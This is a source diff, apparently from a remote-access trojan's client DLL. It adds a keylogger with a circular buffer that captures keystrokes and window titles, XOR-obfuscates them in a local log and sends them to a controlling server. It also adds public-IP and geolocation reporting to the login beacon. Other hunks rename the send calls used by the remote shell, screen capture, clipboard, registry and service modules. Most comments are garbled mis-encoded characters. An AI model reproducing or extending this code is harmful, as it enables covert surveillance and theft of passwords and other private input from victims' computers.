SetFilePointer(hFile, 0, 0, FILE_END);
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
int nLength = lstrlen(lpBuffer);
|
||||
TCHAR* lpEncodeBuffer = new TCHAR[nLength];
|
||||
for (int i = 0; i < nLength; i++)
|
||||
lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
|
||||
WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
delete [] lpEncodeBuffer;
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
||||
{
|
||||
HWND hFocus = GetForegroundWindow();
|
||||
GET_PROCESS(DLLS[USER32], GetForegroundWindow);
|
||||
HWND hFocus = (HWND)GetForegroundWindow();
|
||||
BOOL ReturnFlag = FALSE;
|
||||
if (hFocus != PreviousFocus) {
|
||||
if (lstrlen(WindowCaption) > 0) {
|
||||
if (hasData) {
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
sprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||
}
|
||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||
ReturnFlag=TRUE;
|
||||
}
|
||||
PreviousFocus = hFocus;
|
||||
GET_PROCESS_EASY(SendMessageA);
|
||||
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
||||
}
|
||||
return ReturnFlag;
|
||||
@@ -447,35 +413,56 @@ DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
int pos = 0;
|
||||
while(pThis->m_bIsWorking) {
|
||||
DWORD dwSize =0;
|
||||
HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
if (!pThis->IsConnected()) {
|
||||
pos = 0;
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
if (pThis->dKeyBoardSize != dwSize) {
|
||||
pThis->sendOfflineRecord(pThis->dKeyBoardSize);
|
||||
int size = 0;
|
||||
char* lpBuffer = pThis->m_Buffer->Read(pos, size);
|
||||
if (size) {
|
||||
int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
|
||||
delete[] lpBuffer;
|
||||
}
|
||||
|
||||
Sleep(3000);
|
||||
Sleep(1000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int CALLBACK WriteBuffer(const char* record, void* user) {
|
||||
CircularBuffer* m_Buffer = (CircularBuffer*)user;
|
||||
m_Buffer->Write(record, strlen(record));
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
MSG msg;
|
||||
TCHAR KeyBuffer[2048] = {};
|
||||
TCHAR szText[CAPTION_SIZE] = {};
|
||||
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
||||
HWND PreviousFocus = NULL;
|
||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||
while(pThis->m_bIsWorking) {
|
||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||
#if USING_KB_HOOK
|
||||
ReleaseHook();
|
||||
#endif
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
Sleep(5);
|
||||
#if USING_KB_HOOK
|
||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||
return -1;
|
||||
}
|
||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
#else
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
bool newWindowInput = strlen(szText);
|
||||
@@ -489,7 +476,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
|
||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
|
||||
SaveToFile(pThis->m_strRecordFile, KeyBuffer);
|
||||
pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
|
||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||
}
|
||||
}
|
||||
@@ -499,6 +486,9 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
@@ -2,34 +2,239 @@
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
||||
#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "..\Manager.h"
|
||||
#include "Manager.h"
|
||||
#include "stdafx.h"
|
||||
|
||||
#define KEYLOG_FILE "keylog.xml"
|
||||
|
||||
#if ENABLE_KEYBOARD==0
|
||||
#define CKeyboardManager1 CManager
|
||||
|
||||
#else
|
||||
|
||||
#define BUFFER_SIZE 10*1024*1024
|
||||
|
||||
// ѭ<><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
class CircularBuffer {
|
||||
private:
|
||||
char* m_buffer; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int m_size; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||
int m_write; // дָ<D0B4><D6B8>
|
||||
int m_read; // <20><>ָ<EFBFBD><D6B8>
|
||||
CRITICAL_SECTION m_cs; // <20>߳<EFBFBD>ͬ<EFBFBD><CDAC>
|
||||
char m_key; // <20><><EFBFBD><EFBFBD> XOR <20>ӽ<EFBFBD><D3BD>ܵ<EFBFBD><DCB5><EFBFBD>Կ
|
||||
|
||||
public:
|
||||
// <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`')
|
||||
: m_size(size), m_write(0), m_read(0), m_key(key) {
|
||||
m_buffer = new char[m_size]();
|
||||
InitializeCriticalSection(&m_cs);
|
||||
LoadDataFromFile(filename);
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||
~CircularBuffer() {
|
||||
DeleteCriticalSection(&m_cs);
|
||||
delete[] m_buffer;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ջ<EFBFBD><D5BB><EFBFBD>
|
||||
void Clear() {
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// <20><><EFBFBD>ö<EFBFBD>дָ<D0B4><D6B8>
|
||||
m_write = 0;
|
||||
m_read = 0;
|
||||
memset(m_buffer, 0, m_size);
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>/<2F><><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD>XOR<4F><52>
|
||||
void XORData(char* data, int length) {
|
||||
for (int i = 0; i < length; i++) {
|
||||
data[i] ^= m_key; // <20><><EFBFBD><EFBFBD>Կ<EFBFBD><D4BF><EFBFBD><EFBFBD> XOR <20><><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool LoadDataFromFile(const std::string& filename) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename.c_str(), // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||
GENERIC_READ, // ֻ<><D6BB>Ȩ<EFBFBD><C8A8>
|
||||
0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
NULL, // Ĭ<>ϰ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
OPEN_EXISTING, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
FILE_ATTRIBUTE_NORMAL, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
NULL // <20><><EFBFBD><EFBFBD>Ҫģ<D2AA><C4A3><EFBFBD>ļ<EFBFBD>
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Mprintf("Failed to open file '%s' for reading\n", filename.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD bytesRead = 0;
|
||||
while (m_write < m_size) {
|
||||
if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) {
|
||||
break;
|
||||
}
|
||||
XORData(m_buffer + m_write, bytesRead); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_write = (m_write + bytesRead) % m_size;
|
||||
}
|
||||
|
||||
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
CloseHandle(hFile);
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return true;
|
||||
}
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>룩
|
||||
int Write(const char* data, int length) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
for (int i = 0; i < length; i++) {
|
||||
m_buffer[m_write] = data[i];
|
||||
m_write = (m_write + 1) % m_size;
|
||||
|
||||
// <20><>дָ<D0B4><D6B8><EFBFBD>϶<EFBFBD>ָ<EFBFBD><D6B8>ʱ<EFBFBD><CAB1>ǰ<EFBFBD>ƶ<EFBFBD>ָ<EFBFBD><D6B8>ʵ<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>д<EFBFBD><D0B4>
|
||||
if (m_write == m_read) {
|
||||
m_read = (m_read + 1) % m_size;
|
||||
}
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return length; // <20><><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
}
|
||||
|
||||
// <20><>ָ<EFBFBD><D6B8>λ<EFBFBD>ÿ<EFBFBD>ʼ<EFBFBD><CABC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
char* Read(int &pos, int &bytesRead) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
if (pos == 0) {
|
||||
m_read = m_write + 1;
|
||||
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||
if (m_read == m_size) m_read = 0;
|
||||
} else {
|
||||
m_read = pos;
|
||||
}
|
||||
int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||
char* outBuffer = size ? new char[size] : NULL;
|
||||
for (int i = 0; i < size; i++) {
|
||||
if (m_read == m_write) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
break;
|
||||
}
|
||||
outBuffer[i] = m_buffer[m_read];
|
||||
m_read = (m_read + 1) % m_size;
|
||||
bytesRead++;
|
||||
}
|
||||
pos = m_write;
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return outBuffer; // <20><><EFBFBD><EFBFBD>ʵ<EFBFBD>ʶ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܣ<EFBFBD>
|
||||
bool WriteAvailableDataToFile(const std::string& filename) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĴ<DDB5>С
|
||||
m_read = m_write + 1;
|
||||
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||
if (m_read == m_size) m_read = 0;
|
||||
int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||
|
||||
if (totalSize == 0) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return true; // û<><C3BB><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>д<EFBFBD><D0B4>
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Խ<EFBFBD><D4BD><EFBFBD>д<EFBFBD><D0B4>
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename.c_str(), // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||
GENERIC_WRITE, // дȨ<D0B4><C8A8>
|
||||
0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
NULL, // Ĭ<>ϰ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
CREATE_ALWAYS, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
FILE_ATTRIBUTE_NORMAL, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
NULL // <20><><EFBFBD><EFBFBD>Ҫģ<D2AA><C4A3><EFBFBD>ļ<EFBFBD>
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false; // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
}
|
||||
|
||||
// д<>뻺<EFBFBD><EBBBBA><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int bytesWritten = 0;
|
||||
DWORD bytesToWrite = totalSize;
|
||||
const int size = 64*1024;
|
||||
char *buffer = new char[size];
|
||||
while (bytesWritten < totalSize) {
|
||||
DWORD bufferSize = min(bytesToWrite, size);
|
||||
|
||||
// <20><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < bufferSize && m_read != m_write; ) {
|
||||
buffer[i++] = m_buffer[m_read];
|
||||
m_read = (m_read + 1) % m_size;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
XORData(buffer, bufferSize);
|
||||
|
||||
// д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
DWORD bytesActuallyWritten = 0;
|
||||
if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
|
||||
CloseHandle(hFile);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
delete[] buffer;
|
||||
return false; // д<><D0B4>ʧ<EFBFBD><CAA7>
|
||||
}
|
||||
|
||||
bytesWritten += bytesActuallyWritten;
|
||||
bytesToWrite -= bytesActuallyWritten;
|
||||
}
|
||||
delete[] buffer;
|
||||
|
||||
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
CloseHandle(hFile);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
class CKeyboardManager1 : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
|
||||
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
||||
virtual ~CKeyboardManager1();
|
||||
virtual void Notify();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||
static DWORD WINAPI SendData(LPVOID lparam);
|
||||
|
||||
BOOL m_bIsOfflineRecord;
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
DWORD dKeyBoardSize;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
int sendOfflineRecord(DWORD dwRead = 0);
|
||||
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
CircularBuffer *m_Buffer;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
||||
#undef BUFFER_SIZE
|
||||
|
||||
#endif
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
#include <NTSecAPI.h>
|
||||
#include "common/skCrypter.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <location.h>
|
||||
|
||||
// by ChatGPT
|
||||
bool IsWindows11() {
|
||||
@@ -253,11 +254,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||
LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||
LoginInfor.AddReserved("?"); // test
|
||||
std::string installTime;
|
||||
auto b = ReadAppSettingA("install_time", installTime);
|
||||
if (!b || installTime.empty()) {
|
||||
installTime = ToPekingTimeAsString(nullptr);;
|
||||
WriteAppSettingA("install_time", installTime);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||
if (installTime.empty()) {
|
||||
installTime = ToPekingTimeAsString(nullptr);
|
||||
cfg.SetStr("settings", "install_time", installTime);
|
||||
}
|
||||
LoginInfor.AddReserved(installTime.c_str()); // <20><>װʱ<D7B0><CAB1>
|
||||
LoginInfor.AddReserved("?"); // <20><>װ<EFBFBD><D7B0>Ϣ
|
||||
@@ -266,7 +267,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
||||
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||||
#ifndef _DEBUG
|
||||
if (hMutex != NULL) {
|
||||
#else
|
||||
{
|
||||
#endif
|
||||
CloseHandle(hMutex);
|
||||
config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
|
||||
str = cfg->GetStr("settings", "Password", "");
|
||||
@@ -280,6 +285,22 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||
std::string loc = cfg.GetStr("settings", "location", "");
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
IPConverter cvt;
|
||||
if (loc.empty()) {
|
||||
std::string ip = cvt.getPublicIP();
|
||||
if (pubIP.empty()) pubIP = ip;
|
||||
loc = cvt.GetGeoLocation(pubIP);
|
||||
cfg.SetStr("settings", "location", loc);
|
||||
}
|
||||
if (pubIP.empty()) {
|
||||
pubIP = cvt.getPublicIP();
|
||||
cfg.SetStr("settings", "public_ip", pubIP);
|
||||
}
|
||||
LoginInfor.AddReserved(loc.c_str());
|
||||
LoginInfor.AddReserved(pubIP.c_str());
|
||||
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
@@ -156,7 +156,7 @@ HDESK SelectDesktop(TCHAR* name)
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
{
|
||||
m_bReady = TRUE;
|
||||
m_ClientObject = ClientObject;
|
||||
@@ -180,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
int nRet = 0;
|
||||
try
|
||||
{
|
||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
||||
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||
}catch(...){
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
|
||||
@@ -13,6 +13,7 @@
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#define ENABLE_VSCREEN 1
|
||||
#define ENABLE_KEYBOARD 1
|
||||
|
||||
HDESK SelectDesktop(TCHAR* name);
|
||||
|
||||
@@ -43,6 +44,13 @@ public:
|
||||
VOID WaitForDialogOpen();
|
||||
VOID NotifyDialogIsOpen();
|
||||
|
||||
BOOL IsConnected() const {
|
||||
return m_ClientObject->IsConnected();
|
||||
}
|
||||
BOOL Reconnect() {
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
virtual void Notify() { }
|
||||
int Send(LPBYTE lpData, UINT nSize);
|
||||
virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
|
||||
};
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
}
|
||||
|
||||
CRegisterManager::~CRegisterManager()
|
||||
@@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
char *szBuffer= Opt.FindPath();
|
||||
if(szBuffer!=NULL)
|
||||
{
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
@@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
if(szBuffer!=NULL)
|
||||
{
|
||||
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -263,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo()
|
||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
@@ -360,7 +360,7 @@ VOID CScreenManager::SendClientClipboard()
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
::GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
@@ -374,7 +374,7 @@ VOID CScreenManager::SendFirstScreen()
|
||||
return;
|
||||
}
|
||||
|
||||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||
}
|
||||
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
@@ -391,7 +391,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
|
||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||
{
|
||||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
||||
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
std::string GetTitle(HWND hWnd) {
|
||||
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,1,1
|
||||
FILEVERSION 1,0,1,2
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.1.1"
|
||||
VALUE "FileVersion", "1.0.1.2"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
@@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList()
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -97,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
||||
m_hShellThreadHandle = pi.hThread;
|
||||
|
||||
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
|
||||
WaitForDialogOpen();
|
||||
|
||||
@@ -131,7 +131,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||
int length = int(dwReturn) - This->m_nCmdLength;
|
||||
if (length > 0)
|
||||
This->m_ClientObject->OnServerSending(pStart, length);
|
||||
This->m_ClientObject->Send2Server(pStart, length);
|
||||
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
|
